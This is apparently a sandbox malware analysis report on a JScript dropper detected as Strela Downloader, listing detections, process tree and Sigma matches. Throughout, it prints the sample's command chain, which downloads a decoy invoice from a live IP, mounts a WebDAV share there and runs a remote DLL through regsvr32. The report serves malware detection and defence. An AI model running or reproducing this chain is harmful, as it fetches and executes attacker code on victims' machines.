Edit tour

Windows Analysis Report
1775148551349412785.js

Overview

General Information

Sample name:	1775148551349412785.js
Analysis ID:	1588921
MD5:	32ed4309df19787ed32bc424bf52323b
SHA1:	27e7741b6e5a6888b743e27de9d252d35ae9850a
SHA256:	eda8a155d25eb942b35be1a5dbcb5168374dd83bf6d83d25b6e26a9686153cda
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7544 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7764 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1412 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7200 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6224 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5756 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1664,i,11660581828871030460,7162394167741040457,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6032 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2652 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6140 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7544	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7764, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1412, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7764, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1412, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js", ProcessId: 7544, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ProcessId: 7764, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ProcessId: 7764, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ProcessId: 7764, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ProcessId: 7764, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ProcessId: 7764, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js", ProcessId: 7544, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7764, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1412, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6032, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2652, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6140, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6032, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2652, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll, ProcessId: 7764, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1775148551349412785.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1775148551349412785.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1286411652.0000020256FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1354162356.000002598835D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1354162356.000002598837C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1354162356.0000025988328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1354162356.000002598835D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/=
Source: net.exe, 00000007.00000002.1354162356.0000025988328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: net.exe, 00000007.00000002.1354162356.000002598835D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/e
Source: net.exe, 00000007.00000002.1354162356.000002598835D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/q
Source: net.exe, 00000007.00000002.1354162356.0000025988328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/scex
Source: svchost.exe, 00000009.00000002.2570583013.00000150FCC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1346744452.00000150FCE00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7544, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1775148551349412785.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/63@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1732:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eda243rx.tz3.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1775148551349412785.js"
